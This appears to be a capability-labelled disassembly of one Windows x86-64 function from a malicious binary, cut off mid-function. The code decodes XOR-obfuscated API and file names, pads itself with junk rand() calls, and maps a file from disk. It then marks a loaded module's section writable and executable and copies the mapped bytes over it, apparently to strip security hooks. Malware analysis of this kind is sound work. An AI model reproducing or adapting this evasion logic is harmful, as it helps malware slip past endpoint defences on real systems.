Function at 0x1400021d0
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xdc8
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0xd30], xmm6
call fcn.1400044e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5b
je 0x140002210
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
movd xmm0, edx
mov ecx, edx
xor cl, 0xc3
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c110]
movdqa xmmword [rbp + 0xba0], xmm0
movzx ecx, byte [rbp + 0xba2]
movzx edx, byte [rbp + 0xba3]
mov byte [rax + 1], cl
movq qword [rax + 2], xmm0
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
pop rsi
nop
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe5
je 0x140002290
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
mov ecx, edx
xor cl, 0xdf
mov byte [rax], cl
mov ecx, edx
xor cl, 0xc1
mov byte [rax + 1], cl
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c120]
mov byte [rax + 3], cl
movdqa xmmword [rbp + 0xad0], xmm0
movzx ecx, byte [rbp + 0xad0]
mov byte [rax + 2], cl
movd dword [rax + 4], xmm0
mov ecx, edx
xor cl, 0xcc
mov byte [rax + 8], cl
xor dl, 0xc4
mov byte [rax + 9], dl
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
push rax
pop rcx
nop
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x98
je 0x140002320
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c130]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0xbb0], xmm0
movzx edx, byte [rbp + 0xbb1]
movzx r8d, byte [rbp + 0xbb7]
mov byte [rax + 8], dl
mov r9d, ecx
xor r9b, 0xee
mov byte [rax + 9], r9b
mov r9d, ecx
xor r9b, 0xc1
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], r8b
mov byte [rax + 0xc], dl
mov r8d, ecx
xor r8b, 0xe6
mov byte [rax + 0xd], r8b
mov r8d, ecx
xor r8b, 0xc9
mov byte [rax + 0xe], r8b
mov r8d, ecx
xor r8b, 0xc5
mov byte [rax + 0xf], r8b
mov byte [rax + 0x10], dl
xor cl, 0xe9
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], 0
push rsi
nop
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc70], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd9
je 0x140002400
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
mov ecx, edx
xor cl, 0xef
mov byte [rax], cl
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c140]
movdqa xmmword [rbp + 0xbc0], xmm0
movzx ecx, byte [rbp + 0xbc1]
movzx r8d, byte [rbp + 0xbc6]
mov byte [rax + 1], cl
mov byte [rax + 2], r8b
movq qword [rax + 3], xmm0
xor dl, 0xe9
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
nop
push rsi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc68], rax
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5f
je 0x140002490
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x20
je 0x1400024a0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd
je 0x1400024b0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xdc
je 0x1400024d0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c150]
movq qword [rax], xmm0
xor dl, 0xe9
mov byte [rax + 8], dl
mov byte [rax + 9], 0
nop
push rsi
pop rcx
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xcd8], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x37
je 0x140002550
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
mov edx, ecx
xor dl, 0xeb
mov byte [rax], dl
mov edx, ecx
xor dl, 0xda
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c160]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0xae0], xmm0
movzx r8d, byte [rbp + 0xae2]
mov byte [rax + 2], r8b
movd dword [rax + 3], xmm0
mov byte [rax + 7], dl
mov edx, ecx
xor dl, 0xc7
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xcb
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov edx, ecx
xor dl, 0xdb
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
xor cl, 0xe9
mov byte [rax + 0xd], cl
mov byte [rax + 0xe], 0
nop
push rsi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0xf1
je 0x140002620
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc7
je 0x140002630
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x14
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c170]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0xbd0], xmm1
movzx edx, byte [rbp + 0xbd2]
movzx r8d, byte [rbp + 0xbd3]
mov byte [rax + 8], dl
pxor xmm0, xmmword [0x14000c180]
movd dword [rax + 9], xmm0
mov edx, ecx
xor dl, 0xe7
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xca
mov byte [rax + 0xe], dl
mov edx, ecx
xor dl, 0xc2
mov byte [rax + 0xf], dl
movdqa xmmword [rbp + 0xaf0], xmm0
movzx edx, byte [rbp + 0xaf3]
mov byte [rax + 0x10], dl
xor cl, 0xcb
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], 0
push rsi
pop rcx
nop
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8b
je 0x1400026f0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c190]
movq qword [rax], xmm0
xor dl, 0xcc
mov byte [rax + 8], dl
movdqa xmmword [rbp + 0xbe0], xmm0
movzx ecx, byte [rbp + 0xbe1]
movzx edx, byte [rbp + 0xbe4]
mov byte [rax + 9], cl
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
push rsi
pop rcx
nop
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xcd0], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x3c
je 0x1400027b0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1a0]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0xbf0], xmm0
movzx ecx, byte [rbp + 0xbf2]
movzx r8d, byte [rbp + 0xbf3]
mov byte [rax + 8], cl
mov ecx, edx
xor cl, 0xc7
mov byte [rax + 9], cl
mov byte [rax + 0xa], r8b
mov ecx, edx
xor cl, 0xcd
mov byte [rax + 0xb], cl
xor dl, 0xcb
mov byte [rax + 0xc], dl
mov byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
nop
push rsi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8a
je 0x140002870
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x89
je 0x140002890
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1b0]
movq qword [rax], xmm0
mov edx, ecx
xor dl, 0xee
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xc7
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xda
mov byte [rax + 0xa], dl
movdqa xmmword [rbp + 0xce0], xmm0
movzx edx, byte [rbp + 0xce3]
movzx r8d, byte [rbp + 0xce5]
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], r8b
movzx edx, byte [rbp + 0xce6]
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xdb
mov byte [rax + 0xe], dl
xor cl, 0xe9
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
push rsi
nop
pop rcx
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0x19
je 0x140002960
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c1c0]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0xb00], xmm1
movzx ecx, byte [rbp + 0xb06]
mov byte [rax + 8], cl
mov byte [rax + 9], cl
pxor xmm0, xmmword [0x14000c1d0]
movd dword [rax + 0xa], xmm0
mov byte [rax + 0xe], 0
nop
push rsi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc78], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x32
je 0x140002a00
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd7
je 0x140002a10
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1e0]
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xcd
mov byte [rax + 4], dl
mov r8d, ecx
xor r8b, 0xf8
mov byte [rax + 5], r8b
movdqa xmmword [rbp + 0xb10], xmm0
movzx r8d, byte [rbp + 0xb11]
mov byte [rax + 6], r8b
mov r9d, ecx
xor r9b, 0xc7
mov byte [rax + 7], r9b
mov r10d, ecx
xor r10b, 0xcb
mov byte [rax + 8], r10b
mov byte [rax + 9], dl
mov r10d, ecx
xor r10b, 0xdb
mov byte [rax + 0xa], r10b
mov byte [rax + 0xb], r10b
mov r10d, ecx
xor r10b, 0xe5
mov byte [rax + 0xc], r10b
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xc5
mov byte [rax + 0xe], dl
mov byte [rax + 0xf], r9b
mov byte [rax + 0x10], r8b
xor cl, 0xd1
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], 0
nop
push rsi
pop rcx
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc80], rax
nop
call sub.msvcrt.dll_rand
cmp eax, 0xa9
je 0x140002ae0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x6b
je 0x140002af0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x47
je 0x140002b00
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
mov edx, ecx
xor dl, 0xf9
mov byte [rax], dl
mov edx, ecx
xor dl, 0xdd
mov byte [rax + 1], dl
mov byte [rax + 3], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1f0]
movdqa xmmword [rbp + 0xb20], xmm0
movzx edx, byte [rbp + 0xb22]
mov byte [rax + 2], dl
mov byte [rax + 4], dl
movd dword [rax + 5], xmm0
mov edx, ecx
xor dl, 0xe9
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xf8
mov byte [rax + 0xa], dl
xor cl, 0xeb
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
push rsi
nop
pop rcx
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc88], rax
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xdf
je 0x140002bb0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xbf
je 0x140002bc0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c200]
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xc5
mov byte [rax + 4], dl
movdqa xmmword [rbp + 0xb30], xmm0
movzx edx, byte [rbp + 0xb31]
mov byte [rax + 5], dl
mov r8d, ecx
xor r8b, 0xfc
mov byte [rax + 6], r8b
mov r8d, ecx
xor r8b, 0xc0
mov byte [rax + 7], r8b
mov r8d, ecx
xor r8b, 0xda
mov byte [rax + 8], r8b
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xc9
mov byte [rax + 0xa], dl
xor cl, 0xcc
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
nop
push rsi
pop rcx
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc98], rax
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xcc
je 0x140002c70
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8a
je 0x140002c80
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8e
je 0x140002c90
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xed
je 0x140002ca0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xe
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
mov edx, ecx
xor dl, 0xe1
mov byte [rax], dl
mov edx, ecx
xor dl, 0xc6
mov byte [rax + 1], dl
mov r8d, ecx
xor r8b, 0xdc
mov byte [rax + 2], r8b
mov r9d, ecx
xor r9b, 0xcd
mov byte [rax + 3], r9b
mov r10d, ecx
xor r10b, 0xda
mov byte [rax + 4], r10b
mov byte [rax + 5], dl
mov byte [rax + 6], r9b
mov byte [rax + 7], r8b
mov r8d, ecx
xor r8b, 0xe7
mov byte [rax + 8], r8b
mov r8d, ecx
xor r8b, 0xd8
mov byte [rax + 9], r8b
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], dl
xor cl, 0xe9
mov byte [rax + 0xc], cl
mov byte [rax + 0xd], 0
mov rcx, r15
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xca8], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x77
je 0x140002d60
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc2
je 0x140002d70
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
mov edx, ecx
xor dl, 0xe1
mov byte [rax], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c210]
movdqa xmmword [rbp + 0xb40], xmm0
movzx edx, word [rbp + 0xb43]
rol dx, 8
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshuflw xmm1, xmm2, 0xec
pshufhw xmm1, xmm1, 0xe8
pshufd xmm1, xmm1, 0xe8
pshuflw xmm1, xmm1, 0xd2
packuswb xmm1, xmm1
movd dword [rax + 1], xmm1
mov word [rax + 5], dx
movq qword [rax + 7], xmm0
xor cl, 0xe9
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
mov rcx, r15
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xca0], rax
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xba
je 0x140002e20
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
mov ecx, edx
mov r8d, edx
movd xmm0, edx
xor dl, 0xe1
mov byte [rax], dl
xor cl, 0xc6
mov byte [rax + 1], cl
xor r8b, 0xda
mov byte [rax + 4], r8b
mov byte [rax + 5], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c220]
movdqa xmmword [rbp + 0xc00], xmm0
movzx ecx, byte [rbp + 0xc00]
movzx edx, byte [rbp + 0xc02]
mov byte [rax + 2], cl
mov byte [rax + 3], dl
mov byte [rax + 6], dl
movq qword [rax + 7], xmm0
mov byte [rax + 0xf], dl
mov byte [rax + 0x10], 0
mov rcx, r15
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xd18], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r14, rax
call sub.msvcrt.dll_rand
cmp eax, 0x57
je 0x140002ef0
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xb80], xmm0
mov qword [rbp + 0xb90], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0x3a
je 0x140002f20
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov ebx, 0x31
mov edi, 0xa8
mov ecx, 0xa8
cmove ecx, ebx
movd xmm0, ecx
xor cl, 0xc6
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c230]
pxor xmm6, xmm6
punpcklbw xmm0, xmm6
pshufd xmm0, xmm0, 0x44
pshuflw xmm0, xmm0, 0xa4
pshufhw xmm0, xmm0, 0xa7
packuswb xmm0, xmm0
movq qword [rax + 1], xmm0
mov byte [rax + 9], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push rax
nop
pop rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea r8, [rbp + 0xb80]
mov qword [rbp + 0xcb0], r14
mov rcx, r14
mov qword [rbp + 0xcb8], rsi
push rsi
nop
pop rdx
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r14, qword [rbp + 0xb80]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or esi, esi
cmove edi, ebx
mov ecx, edi
xor cl, 0xcb
mov byte [rax], cl
mov ecx, edi
xor cl, 0x92
mov byte [rax + 1], cl
mov r8d, edi
xor r8b, 0xdf
mov byte [rax + 4], r8b
mov ecx, edi
xor cl, 0xc1
mov byte [rax + 5], cl
mov edx, edi
xor dl, 0xc6
mov byte [rax + 6], dl
mov ecx, edi
xor cl, 0xcc
mov byte [rax + 7], cl
mov r9d, edi
xor r9b, 0xc7
mov byte [rax + 8], r9b
mov byte [rax + 9], r8b
movd xmm0, edi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c240]
movdqa xmmword [rbp + 0xc10], xmm0
movzx r8d, byte [rbp + 0xc12]
movzx r9d, byte [rbp + 0xc17]
mov byte [rax + 2], r9b
mov byte [rax + 3], r9b
movdqa xmm1, xmm0
punpcklbw xmm1, xmm6
pshufd xmm1, xmm1, 0xec
pshuflw xmm1, xmm1, 0x7d
packuswb xmm1, xmm1
movd dword [rax + 0xa], xmm1
movq qword [rax + 0xe], xmm0
mov byte [rax + 0x16], r9b
mov byte [rax + 0x17], dl
mov byte [rax + 0x18], r8b
mov byte [rax + 0x19], cl
mov edx, edi
xor dl, 0xc4
mov byte [rax + 0x1a], dl
mov byte [rax + 0x1b], dl
xor dil, 0x86
mov byte [rax + 0x1c], dil
mov byte [rax + 0x1d], cl
mov byte [rax + 0x1e], dl
mov byte [rax + 0x1f], dl
mov byte [rax + 0x20], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
nop
push rax
pop rcx
mov edx, 0x80000000
mov r8d, 1
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
push rax
nop
pop rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rbp + 0xcc8], rsi
nop
push rsi
pop rcx
sub edx, edx
mov r8d, 0x1000002
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push rax
pop rsi
nop
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x25
je 0x140003160
mov qword [rbp + 0xc90], r13
mov qword [rbp + 0xc60], r12
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xcc0], rsi
push rsi
pop rcx
nop
mov edx, 4
sub r8d, r8d
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0xc58], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x97
je 0x1400031d0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movsxd rsi, dword [r14 + 0x3c]
cmp word [rsi + r14 + 6], 0
je 0x1400033a0
add rsi, r14
lea r15, [rsi + 0x18]
xor r12d, r12d
mov edi, 0x31
movdqa xmm6, xmmword [0x14000c250]
jmp 0x140003230
inc r12
movzx eax, word [rsi + 6]
cmp r12, rax
jae 0x1400033a0
movzx eax, word [rsi + 0x14]
lea rcx, [r12 + r12*4]
lea r13, [r15 + rcx*8]
add r13, rax
nop
call sub.msvcrt.dll_rand
cmp eax, 0xd
je 0x140003240
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 6
call sub.msvcrt.dll_malloc
or ebx, ebx
mov ecx, 0xa8
cmove ecx, edi
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmm6
movd dword [rax], xmm0
movdqa xmmword [rbp + 0xb50], xmm0
movzx ecx, byte [rbp + 0xb51]
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov rcx, r13
push rax
nop
pop rdx
call sub.msvcrt.dll_strcmp
or eax, eax
jne 0x140003220
mov dword [rbp + 0x3d0], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc8
je 0x1400032c0
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, r14
mov r8d, 0x40
lea r9, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1a
je 0x1400032f0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf7
je 0x140003310
mov r8d, dword [r13 + 8]
mov edx, dword [r13 + 0xc]
lea rcx, [rdx + r14]
add rdx, qword [rbp + 0xc58]
call sub.msvcrt.dll_memcpy
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xfd
je 0x140003340
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x83
je 0x140003370
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, r14
mov r8d, dword [rbp + 0x3d0]
